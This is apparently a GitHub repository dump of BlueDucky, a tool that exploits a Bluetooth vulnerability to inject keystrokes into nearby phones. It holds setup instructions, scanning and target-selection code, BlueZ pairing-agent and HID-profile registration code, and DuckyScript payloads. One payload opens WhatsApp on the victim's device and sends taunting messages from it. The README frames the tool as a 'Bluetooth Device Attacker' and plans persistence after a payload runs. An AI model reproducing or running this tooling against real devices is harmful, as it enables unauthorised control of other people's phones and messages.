25 | 26 | ## Introduction 📢 27 | BlueDucky is a powerful tool for exploiting a vulnerability in Bluetooth devices. By running this script, you can: 28 | 29 | 1. 📡 Load saved Bluetooth devices that are no longer visible but have Bluetooth still enabled. 30 | 2. 📂 Automatically save any devices you scan. 31 | 3. 💌 Send messages via ducky script format to interact with devices. 32 | 33 | I've successfully run this on a Raspberry Pi 4 using the default Bluetooth module. It works against various phones, with an interesting exception for a New Zealand brand, Vodafone. 34 | 35 | ## Installation and Usage 🛠️ 36 | 37 | ### Setup Instructions for Debian-based 38 | 39 | ```bash 40 | # update apt 41 | sudo apt-get update 42 | sudo apt-get -y upgrade 43 | 44 | # install dependencies from apt 45 | sudo apt install -y bluez-tools bluez-hcidump libbluetooth-dev \ 46 | git gcc python3-pip python3-setuptools \ 47 | python3-pydbus 48 | 49 | # install pybluez from source 50 | git clone https://github.com/pybluez/pybluez.git 51 | cd pybluez 52 | sudo python3 setup.py install 53 | 54 | # build bdaddr from the bluez source 55 | cd ~/ 56 | git clone --depth=1 https://github.com/bluez/bluez.git 57 | gcc -o bdaddr ~/bluez/tools/bdaddr.c ~/bluez/src/oui.c -I ~/bluez -lbluetooth 58 | sudo cp bdaddr /usr/local/bin/ 59 | ``` 60 | ### Setup Instructions for Arch-based 61 | 62 | ```bash 63 | # update pacman & packages 64 | sudo pacman -Syyu 65 | 66 | # install dependencies 67 | # since arch doesn't separate lib packages: libbluetooth-dev included in bluez package 68 | sudo pacman -S bluez-tools bluez-utils bluez-deprecated-tools \ 69 | python-setuptools python-pydbus python-dbus 70 | git gcc python-pip \ 71 | 72 | # install pybluez from source 73 | git clone https://github.com/pybluez/pybluez.git 74 | cd pybluez 75 | sudo python3 setup.py install 76 | 77 | # build bdaddr from the bluez source 78 | cd ~/ 79 | git clone --depth=1 https://github.com/bluez/bluez.git 80 | gcc -o bdaddr ~/bluez/tools/bdaddr.c ~/bluez/src/oui.c -I ~/bluez -lbluetooth 81 | sudo cp bdaddr /usr/local/bin/ 82 | ``` 83 | 84 | ## Running BlueDucky 85 | ```bash 86 | git clone https://github.com/pentestfunctions/BlueDucky.git 87 | cd BlueDucky 88 | sudo hciconfig hci0 up 89 | python3 BlueDucky.py 90 | ``` 91 | 92 | alternatively, 93 | 94 | ```bash 95 | pip3 install -r requirements.txt 96 | ``` 97 | 98 | ## Operational Steps 🕹️ 99 | 1. On running, it prompts for the target MAC address. 100 | 2. Pressing nothing triggers an automatic scan for devices. 101 | 3. Devices previously found are stored in known_devices.txt. 102 | 4. If known_devices.txt exists, it checks this file before scanning. 103 | 5. Executes using payload.txt file. 104 | 6. Successful execution will result in automatic connection and script running. 105 | 106 | ## Duckyscript 💻 107 | 🚧 Work in Progress: 108 | - Suggest me ideas 109 | 110 | ## Version 2.1 🐛 111 | - Updated UI 112 | - Improved User Experience 113 | - Bluetooth Debugger; Checks your bluetooth adapters, and installed dependancies before allowing access to the application, this is to prevent devices that are not supported. 114 | - Please Note: Numerous Changes have been made,please reference the commit history for specific changes. 115 | 116 | ## What's Planned for the Next Release? 117 | - Integrated DuckyScript Console for attacks that want to maintain persistance, after a payload has been ran 118 | - Suggest What Should be added next! Join https://discord.gg/HackNexus 119 | 120 | #### 📝 Example payload.txt: 121 | ```bash 122 | REM Title of the payload 123 | STRING ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890!@#$%^&*()_-=+\|[{]};:'",<.>/? 124 | GUI D 125 | ``` 126 | 127 | ```bash 128 | REM Opens a private browser to hackertyper.net 129 | DELAY 200 130 | ESCAPE 131 | GUI d 132 | ALT ESCAPE 133 | GUI b 134 | DELAY 700 135 | REM PRIVATE_BROWSER is equal to CTRL + SHIFT + N 136 | PRIVATE_BROWSER 137 | DELAY 700 138 | CTRL l 139 | DELAY 300 140 | STRING hackertyper.net 141 | DELAY 300 142 | ENTER 143 | DELAY 300 144 | ``` 145 | 146 | ## Enjoy experimenting with BlueDucky! 🌟 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | -------------------------------------------------------------------------------- /__init__.py: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /images/BlueDucky.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pentestfunctions/BlueDucky/2d37faf6cf28dd8ace90bce57cea84a45737d8d1/images/BlueDucky.gif -------------------------------------------------------------------------------- /images/duckmenu.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pentestfunctions/BlueDucky/2d37faf6cf28dd8ace90bce57cea84a45737d8d1/images/duckmenu.png -------------------------------------------------------------------------------- /images/start.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pentestfunctions/BlueDucky/2d37faf6cf28dd8ace90bce57cea84a45737d8d1/images/start.png -------------------------------------------------------------------------------- /payloads/payload_example_1.txt: -------------------------------------------------------------------------------- 1 | REM Opens a private browser to hackertyper.net 2 | DELAY 200 3 | ESCAPE 4 | GUI d 5 | ALT ESCAPE 6 | GUI b 7 | DELAY 700 8 | REM PRIVATE_BROWSER is equal to CTRL + SHIFT + N 9 | PRIVATE_BROWSER 10 | DELAY 700 11 | CTRL l 12 | DELAY 300 13 | STRING hackertyper.net 14 | DELAY 300 15 | ENTER 16 | DELAY 300 17 | -------------------------------------------------------------------------------- /payloads/payload_example_2.txt: -------------------------------------------------------------------------------- 1 | REM This is a comment and will not run 2 | STRING hello opening messages here 3 | DELAY 200 4 | GUI s 5 | -------------------------------------------------------------------------------- /payloads/wp_payload.txt: -------------------------------------------------------------------------------- 1 | REM Opens a browser to https://wa.me/<+number> 2 | DELAY 200 3 | ESCAPE 4 | GUI d 5 | ALT ESCAPE 6 | GUI b 7 | DELAY 700 8 | REM BROWSER is equal to CTRL + SHIFT + N 9 | BROWSER 10 | DELAY 700 11 | CTRL l 12 | DELAY 300 13 | STRING https://wa.me/<+NUMBER> 14 | DELAY 500 15 | ENTER 16 | DELAY 3000 17 | TAB 18 | TAB 19 | TAB 20 | TAB 21 | TAB 22 | ENTER 23 | DELAY 7000 24 | REM # Enter your message here 25 | STRING get clapped by 4ngel6uard 26 | DELAY 500 27 | TAB 28 | TAB 29 | ENTER 30 | DELAY 2000 31 | REM # Enter your another message here 32 | STRING hehehe 33 | DELAY 300 34 | TAB 35 | TAB 36 | ENTER 37 | DELAY 2000 38 | REM # Enter your another message here 39 | STRING blueducky was there 40 | DELAY 300 41 | TAB 42 | TAB 43 | ENTER 44 | DELAY 2000 45 | REM # Enter your another message here (doesn't send, leaves in a box) 46 | STRING good luck =) 47 | 48 | 49 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | dbus-python==1.3.2 2 | PyBluez==0.30 3 | pycairo==1.26.0 4 | pydbus==0.6.0 5 | PyGObject==3.48.1 6 | pyobjc 7 | pybluez 8 | setuptools==57.5.0 -------------------------------------------------------------------------------- /utils/__pycache__/menu_functions.cpython-311.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pentestfunctions/BlueDucky/2d37faf6cf28dd8ace90bce57cea84a45737d8d1/utils/__pycache__/menu_functions.cpython-311.pyc -------------------------------------------------------------------------------- /utils/__pycache__/register_device.cpython-311.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pentestfunctions/BlueDucky/2d37faf6cf28dd8ace90bce57cea84a45737d8d1/utils/__pycache__/register_device.cpython-311.pyc -------------------------------------------------------------------------------- /utils/magic_keyboard_hid.py: -------------------------------------------------------------------------------- 1 | from enum import Enum 2 | 3 | class Key_Codes(Enum): 4 | NONE = 0x00 5 | a = 0x04 6 | b = 0x05 7 | c = 0x06 8 | d = 0x07 9 | e = 0x08 10 | f = 0x09 11 | g = 0x0a 12 | h = 0x0b 13 | i = 0x0c 14 | j = 0x0d 15 | k = 0x0e 16 | l = 0x0f 17 | m = 0x10 18 | n = 0x11 19 | o = 0x12 20 | p = 0x13 21 | q = 0x14 22 | r = 0x15 23 | s = 0x16 24 | t = 0x17 25 | u = 0x18 26 | v = 0x19 27 | w = 0x1a 28 | x = 0x1b 29 | y = 0x1c 30 | z = 0x1d 31 | A = 0x04 32 | B = 0x05 33 | C = 0x06 34 | D = 0x07 35 | E = 0x08 36 | F = 0x09 37 | G = 0x0a 38 | H = 0x0b 39 | I = 0x0c 40 | J = 0x0d 41 | K = 0x0e 42 | L = 0x0f 43 | M = 0x10 44 | N = 0x11 45 | O = 0x12 46 | P = 0x13 47 | Q = 0x14 48 | R = 0x15 49 | S = 0x16 50 | T = 0x17 51 | U = 0x18 52 | V = 0x19 53 | W = 0x1a 54 | X = 0x1b 55 | Y = 0x1c 56 | Z = 0x1d 57 | _1 = 0x1e 58 | _2 = 0x1f 59 | _3 = 0x20 60 | _4 = 0x21 61 | _5 = 0x22 62 | _6 = 0x23 63 | _7 = 0x24 64 | _8 = 0x25 65 | _9 = 0x26 66 | _0 = 0x27 67 | ENTER = 0x28 68 | ESCAPE = 0x29 69 | BACKSPACE = 0x2a 70 | TAB = 0x2b 71 | SPACE = 0x2c 72 | MINUS = 0x2d 73 | EQUAL = 0x2e 74 | LEFTBRACE = 0x2f 75 | RIGHTBRACE = 0x30 76 | BACKSLASH = 0x31 77 | SEMICOLON = 0x33 78 | QUOTE = 0x34 79 | BACKTICK = 0x35 80 | COMMA = 0x36 81 | DOT = 0x37 82 | SLASH = 0x38 83 | CAPSLOCK = 0x39 84 | F1 = 0x3a 85 | F2 = 0x3b 86 | F3 = 0x3c 87 | F4 = 0x3d 88 | F5 = 0x3e 89 | F6 = 0x3f 90 | F7 = 0x40 91 | F8 = 0x41 92 | F9 = 0x42 93 | F10 = 0x43 94 | F11 = 0x44 95 | F12 = 0x45 96 | PRINTSCREEN = 0x46 97 | SCROLLLOCK = 0x47 98 | PAUSE = 0x48 99 | INSERT = 0x49 100 | HOME = 0x4a 101 | PAGEUP = 0x4b 102 | DELETE = 0x4c 103 | END = 0x4d 104 | PAGEDOWN = 0x4e 105 | RIGHT = 0x4f 106 | LEFT = 0x50 107 | DOWN = 0x51 108 | UP = 0x52 109 | NUMLOCK = 0x53 110 | KEYPADSLASH = 0x54 111 | KEYPADASTERISK = 0x55 112 | KEYPADMINUS = 0x56 113 | KEYPADPLUS = 0x57 114 | KEYPADENTER = 0x58 115 | KEYPAD1 = 0x59 116 | KEYPAD2 = 0x5a 117 | KEYPAD3 = 0x5b 118 | KEYPAD4 = 0x5c 119 | KEYPAD5 = 0x5d 120 | KEYPAD6 = 0x5e 121 | KEYPAD7 = 0x5f 122 | KEYPAD8 = 0x60 123 | KEYPAD9 = 0x61 124 | KEYPAD0 = 0x62 125 | KEYPADDELETE = 0x63 126 | KEYPADCOMPOSE = 0x65 127 | KEYPADPOWER = 0x66 128 | KEYPADEQUAL = 0x67 129 | F13 = 0x68 130 | F14 = 0x69 131 | F15 = 0x6a 132 | F16 = 0x6b 133 | F17 = 0x6c 134 | F18 = 0x6d 135 | F19 = 0x6e 136 | F20 = 0x6f 137 | F21 = 0x70 138 | F22 = 0x71 139 | F23 = 0x72 140 | F24 = 0x73 141 | OPEN = 0x74 142 | HELP = 0x75 143 | PROPS = 0x76 144 | FRONT = 0x77 145 | STOP = 0x78 146 | AGAIN = 0x79 147 | UNDO = 0x7a 148 | CUT = 0x7b 149 | COPY = 0x7c 150 | PASTE = 0x7d 151 | FIND = 0x7e 152 | MUTE = 0x7f 153 | VOLUMEUP = 0x80 154 | VOLUMEDOWN = 0x81 155 | MEDIAPLAYPAUSE = 0xe8 156 | MEDIASTOPCD = 0xe9 157 | MEDIAPREV = 0xea 158 | MEDIANEXT = 0xeb 159 | MEDIAEJECTCD = 0xec 160 | MEDIAVOLUMEUP = 0xed 161 | MEDIAVOLUMEDOWN = 0xee 162 | MEDIAMUTE = 0xef 163 | MEDIAWEBBROWSER = 0xf0 164 | MEDIABACK = 0xf1 165 | MEDIAFORWARD = 0xf2 166 | MEDIASTOP = 0xf3 167 | MEDIAFIND = 0xf4 168 | MEDIASCROLLUP = 0xf5 169 | MEDIASCROLLDOWN = 0xf6 170 | MEDIAEDIT = 0xf7 171 | MEDIASLEEP = 0xf8 172 | MEDIACOFFEE = 0xf9 173 | MEDIAREFRESH = 0xfa 174 | MEDIACALC = 0xfb 175 | -------------------------------------------------------------------------------- /utils/menu_functions.py: -------------------------------------------------------------------------------- 1 | import os, bluetooth, re, subprocess, time, curses 2 | import logging as log 3 | 4 | ########################## 5 | # UI Redesign by Lamento # 6 | ########################## 7 | 8 | def get_target_address(): 9 | blue = "\033[94m" 10 | reset = "\033[0m" 11 | print(f"\n What is the target address{blue}? {reset}Leave blank and we will scan for you{blue}!{reset}") 12 | target_address = input(f"\n {blue}> ") 13 | 14 | if target_address == "": 15 | devices = scan_for_devices() 16 | if devices: 17 | # Check if the returned list is from known devices or scanned devices 18 | if len(devices) == 1 and isinstance(devices[0], tuple) and len(devices[0]) == 2: 19 | # A single known device was chosen, no need to ask for selection 20 | # I think it would be better to ask, as sometimes I do not want to chose this device and actually need solely to scan for actual devices. 21 | confirm = input(f"\n Would you like to register this device{blue}:\n{reset}{devices[0][1]} {devices[0][0]}{blue}? {blue}({reset}y{blue}/{reset}n{blue}) {blue}").strip().lower() 22 | if confirm == 'y' or confirm == 'yes': 23 | return devices[0][0] 24 | elif confirm != 'y' or 'yes': 25 | return 26 | else: 27 | # Show list of scanned devices for user selection 28 | for idx, (addr, name) in enumerate(devices): 29 | print(f"{reset}[{blue}{idx + 1}{reset}] {blue}Device Name{reset}: {blue}{name}, {blue}Address{reset}: {blue}{addr}") 30 | selection = int(input(f"\n{reset}Select a device by number{blue}: {blue}")) - 1 31 | if 0 <= selection < len(devices): 32 | target_address = devices[selection][0] 33 | else: 34 | print("\nInvalid selection. Exiting.") 35 | return 36 | else: 37 | return 38 | elif not is_valid_mac_address(target_address): 39 | print("\nInvalid MAC address format. Please enter a valid MAC address.") 40 | return 41 | 42 | return target_address 43 | 44 | def restart_bluetooth_daemon(): 45 | run(["sudo", "service", "bluetooth", "restart"]) 46 | time.sleep(0.5) 47 | 48 | def run(command): 49 | assert(isinstance(command, list)) 50 | log.info("executing '%s'" % " ".join(command)) 51 | result = subprocess.run(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True) 52 | return result 53 | 54 | def print_fancy_ascii_art(): 55 | 56 | ascii_art = """ 57 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⠤⠄⠒⠒⠒⠒⠒⠒⠂⠠⢄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 58 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⠴⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠓⢄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 59 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⠞⠁⠀⠀⠀⠀⣀⡤⠴⠒⠒⠒⠒⠦⠤⣀⠀⠀⠀⠙⢆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 60 | ⠀⠀⠀⠀⠀⠀⠀⠀⢰⠋⠀⠀⠀⣠⠖⠋⢀⣄⣀⡀⠀⠀⠀⠀⠀⠀⠉⠲⣄⠀⠈⣧⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 61 | ⠀⠀⠀⠀⠀⠀⠀⢠⠇⠀⠀⢀⡼⠁⠀⣴⣿⡛⠻⣿⣧⡀⠀⠀⠀⠀⠀⠀⠈⠳⡄⡿⡆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 62 | ⠀⠀⠀⠀⠀⠀⠀⣼⣀⣀⣀⡜⠀⠀⠀⣿⣿⣿⣿⣿⣿⡧⠀⠀⠀⠀⠀⠀⠀⠀⠙⣿⣷⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 63 | ⠀⠀⠀⠀⠀⣀⡤⠟⠁⠀⠈⠙⡶⣄⡀⠈⠻⢿⣿⡿⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠇⡿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 64 | ⣤⣤⠖⠖⠛⠉⠈⣀⣀⠀⠴⠊⠀⠀⣹⣷⣶⡏⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⣀⡀⠀⠀ 65 | ⠘⠿⣿⣷⣶⣶⣶⣶⣤⣶⣶⣶⣿⣿⣿⡿⠟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡜⠀⠀⠀⠀⠀⠀⢀⣀⣠⣤⠤⠖⠒⠋⠉⠁⠙⣆⠀ 66 | ⠀⠀⠀⠀⠉⠉⠉⠉⠙⠿⣍⣩⠟⠋⠙⢦⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣾⣖⣶⣶⢾⠯⠽⠛⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠸⡄ 67 | ⠀⠀⠀⠀⠀⠀⠀⠀⢀⣤⠚⠁⠀⠀⠀⠀⠈⠓⠤⠀⠀⠀⠀⠀⠀⠐⠒⠚⠉⠉⠁⠀⠀⠀⠀⠀⠀⢀⣀⣀⠀⣀⢀⠀⠀⠀⠀⠀⠀⠀⣇ 68 | ⠀⠀⠀⠀⠀⠀⠀⡴⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣀⠤⠤⠖⠒⠚⠉⠉⠁⠀⠀⠀⢸⢸⣦⠀⠀⠀⠀⠀⠀⢸ 69 | ⠀⠀⠀⠀⠀⢠⠎⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⡠⠤⠴⠒⠒⠉⠉⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡏⣸⡏⠇⠀⠀⠀⠀⠀⢸ 70 | ⠀⠀⠀⠀⢠⠇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢻⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⠞⢠⡿⠀⠀⠀⠀⠀⠀⠀⢸ 71 | ⠀⠀⠀⠀⣾⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠹⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡠⠊⣠⡟⠀⠀⠀⠀⠀⠀⠀⠀⡏ 72 | ⠀⠀⠀⠀⡏⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠢⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡠⠖⠉⢀⣴⠏⠠⠀⠀⠀⠀⠀⠀⠀⣸⠁ 73 | ⠀⠀⠀⠀⢹⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠒⠒⠢⠤⠄⠀⠀⠀⠀⠀⠈⠁⠀⣠⣶⠟⠁⠀⠀⠀⠀⠀⠀⠀⠀⢠⠃⠀ 74 | ⠀⠀⠀⠀⠀⢣⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣤⣴⠿⠛⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⠃⠀⠀ 75 | ⠀⠀⠀⠀⠀⠈⢧⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣤⡶⠿⠛⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡴⠃⠀⠀⠀ 76 | ⠀⠀⠀⠀⠀⠀⠀⠳⣄⢀⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠤⠖⣪⡵⠋⠀⠀⠀⠀⠀ 77 | ⠀⠀⠀⠀⠀⠀⠀⠀⠈⠑⠫⠭⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣭⣭⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⡴⠶⠛⠉⠀⠀⠀⠀⠀⠀⠀ 78 | """ 79 | 80 | print("\033[94m" + ascii_art + "\033[0m") # Blue color 81 | 82 | def clear_screen(): 83 | os.system('clear') 84 | 85 | # Function to save discovered devices to a file 86 | def save_devices_to_file(devices, filename='known_devices.txt'): 87 | with open(filename, 'w') as file: 88 | for addr, name in devices: 89 | file.write(f"{addr},{name}\n") 90 | 91 | # Function to scan for devices 92 | def scan_for_devices(): 93 | main_menu() 94 | 95 | blue = "\033[94m" 96 | error = "\033[91m" 97 | reset = "\033[0m" 98 | 99 | # Load known devices 100 | known_devices = load_known_devices() 101 | if known_devices: 102 | blue = "\033[94m" 103 | error = "\033[91m" 104 | reset = "\033[0m" 105 | print(f"\n{reset}Known devices{blue}:") 106 | for idx, (addr, name) in enumerate(known_devices): 107 | blue = "\033[94m" 108 | error = "\033[91m" 109 | reset = "\033[0m" 110 | print(f"{blue}{idx + 1}{reset}: Device Name: {blue}{name}, Address: {blue}{addr}") 111 | 112 | blue = "\033[94m" 113 | error = "\033[91m" 114 | reset = "\033[0m" 115 | use_known_device = input(f"\n{reset}Do you want to use one of these known devices{blue}? {blue}({reset}yes{blue}/{reset}no{blue}): ") 116 | if use_known_device.lower() == 'yes': 117 | device_choice = int(input(f"{reset}Enter the index number of the device to attack{blue}: ")) 118 | return [known_devices[device_choice - 1]] 119 | 120 | # Normal Bluetooth scan 121 | blue = "\033[94m" 122 | error = "\033[91m" 123 | reset = "\033[0m" 124 | print(f"\n{reset}Attempting to scan now{blue}...") 125 | nearby_devices = bluetooth.discover_devices(duration=8, lookup_names=True, flush_cache=True, lookup_class=True) 126 | device_list = [] 127 | if len(nearby_devices) == 0: 128 | print(f"\n{reset}[{error}+{reset}] No nearby devices found.") 129 | else: 130 | print("\nFound {} nearby device(s):".format(len(nearby_devices))) 131 | for idx, (addr, name, _) in enumerate(nearby_devices): 132 | device_list.append((addr, name)) 133 | 134 | # Save the scanned devices only if they are not already in known devices 135 | new_devices = [device for device in device_list if device not in known_devices] 136 | if new_devices: 137 | known_devices += new_devices 138 | save_devices_to_file(known_devices) 139 | for idx, (addr, name) in enumerate(new_devices): 140 | print(f"{reset}{idx + 1}{blue}: {blue}Device Name{reset}: {blue}{name}{reset}, {blue}Address{reset}: {blue}{addr}") 141 | return device_list 142 | 143 | def getterm(): 144 | size = os.get_terminal_size() 145 | return size.columns 146 | 147 | 148 | def print_menu(): 149 | blue = '\033[94m' 150 | reset = "\033[0m" 151 | title = "BlueDucky - Bluetooth Device Attacker" 152 | vertext = "Ver 2.1" 153 | motd1 = f"Remember, you can still attack devices without visibility.." 154 | motd2 = f"If you have their MAC address.." 155 | terminal_width = getterm() 156 | separator = "=" * terminal_width 157 | 158 | print(blue + separator) # Blue color for separator 159 | print(reset + title.center(len(separator))) # Centered Title in blue 160 | print(blue + vertext.center(len(separator))) # Centered Version 161 | print(blue + separator + reset) # Blue color for separator 162 | print(motd1.center(len(separator)))# used the same method for centering 163 | print(motd2.center(len(separator)))# used the same method for centering 164 | print(blue + separator + reset) # Blue color for separator 165 | 166 | def main_menu(): 167 | clear_screen() 168 | print_fancy_ascii_art() 169 | print_menu() 170 | 171 | 172 | def is_valid_mac_address(mac_address): 173 | # Regular expression to match a MAC address in the form XX:XX:XX:XX:XX:XX 174 | mac_address_pattern = re.compile(r'^([0-9A-Fa-f]{2}[:-]){5}([0-9A-Fa-f]{2})$') 175 | return mac_address_pattern.match(mac_address) is not None 176 | 177 | # Function to read DuckyScript from file 178 | def read_duckyscript(filename): 179 | if os.path.exists(filename): 180 | with open(filename, 'r') as file: 181 | return [line.strip() for line in file.readlines()] 182 | else: 183 | log.warning(f"File {filename} not found. Skipping DuckyScript.") 184 | return None 185 | 186 | # Function to load known devices from a file 187 | def load_known_devices(filename='known_devices.txt'): 188 | if os.path.exists(filename): 189 | with open(filename, 'r') as file: 190 | return [tuple(line.strip().split(',')) for line in file] 191 | else: 192 | return [] 193 | 194 | 195 | title = "BlueDucky - Bluetooth Device Attacker" 196 | vertext = "Ver 2.1" 197 | terminal_width = getterm() 198 | separator = "=" * terminal_width 199 | blue = "\033[0m" 200 | reset = "\033[0m" 201 | 202 | print(blue + separator) # Blue color for separator 203 | print(reset + title.center(len(separator))) # White color for title 204 | print(blue + vertext.center(len(separator))) # White blue for version number 205 | print(blue + separator + reset) # Blue color for separator 206 | print(f"{reset}Remember, you can still attack devices without visibility{blue}.." + reset) 207 | print(f"{blue}If you have their {reset}MAC address{blue}.." + reset) 208 | print(blue + separator + reset) # Blue color for separator 209 | -------------------------------------------------------------------------------- /utils/register_device.py: -------------------------------------------------------------------------------- 1 | import dbus 2 | import dbus.service 3 | import dbus.mainloop.glib 4 | from gi.repository import GLib 5 | import logging as log 6 | 7 | class Agent(dbus.service.Object): 8 | @dbus.service.method("org.bluez.Agent1", in_signature="", out_signature="") 9 | def Cancel(self): 10 | log.debug("Agent.Cancel") 11 | 12 | class Profile(dbus.service.Object): 13 | @dbus.service.method("org.bluez.Profile1", in_signature="", out_signature="") 14 | def Cancel(self): 15 | print("Profile.Cancel") 16 | 17 | def agent_loop(target_path): 18 | dbus.mainloop.glib.DBusGMainLoop(set_as_default=True) 19 | loop = GLib.MainLoop() 20 | bus = dbus.SystemBus() 21 | path = "/test/agent" 22 | agent = Agent(bus, path) 23 | agent.target_path = target_path 24 | obj = bus.get_object("org.bluez", "/org/bluez") 25 | manager = dbus.Interface(obj, "org.bluez.AgentManager1") 26 | manager.RegisterAgent(path, "NoInputNoOutput") 27 | manager.RequestDefaultAgent(path) 28 | log.debug("'NoInputNoOutput' pairing-agent is running") 29 | loop.run() 30 | 31 | 32 | def register_hid_profile(iface, addr): 33 | dbus.mainloop.glib.DBusGMainLoop(set_as_default=True) 34 | bus = dbus.SystemBus() 35 | get_obj = lambda path, iface: dbus.Interface(bus.get_object("org.bluez", path), iface) 36 | addr_str = addr.replace(":", "_") 37 | path = "/org/bluez/%s/dev_%s" % (iface, addr_str) 38 | manager = get_obj("/org/bluez", "org.bluez.ProfileManager1") 39 | profile_path = "/test/profile" 40 | profile = Profile(bus, profile_path) 41 | hid_uuid = "00001124-0000-1000-8000-00805F9B34FB" 42 | 43 | # Hardcoded XML content 44 | xml_content = """ 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | 125 | 126 | 127 | 128 | 129 | 130 | 131 | 132 | 133 | 134 | 135 | 136 | 137 | 138 | 139 | 140 | 141 | 142 | 143 | 144 | 145 | 146 | 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | 156 | 157 | 158 | 159 | 160 | 161 | 162 | 163 | 164 | 165 | 166 | 167 | 168 | 169 | 170 | 171 | 172 | 173 | 174 | 175 | 176 | 177 | 178 | 179 | 180 | 181 | 182 | 183 | 184 | 185 | 186 | 187 | 188 | 189 | 190 | 191 | 192 | 193 | 194 | 195 | 196 | 197 | 198 | 199 | 200 | 201 | 202 | 203 | 204 | 205 | 206 | 207 | 208 | 209 | 210 | 211 | 212 | 213 | 214 | 215 | """ 216 | 217 | opts = {"ServiceRecord": xml_content} 218 | log.debug("calling RegisterProfile") 219 | manager.RegisterProfile(profile, hid_uuid, opts) 220 | loop = GLib.MainLoop() 221 | try: 222 | log.debug("running dbus loop") 223 | loop.run() 224 | except KeyboardInterrupt: 225 | log.debug("calling UnregisterProfile") 226 | manager.UnregisterProfile(profile) 227 | --------------------------------------------------------------------------------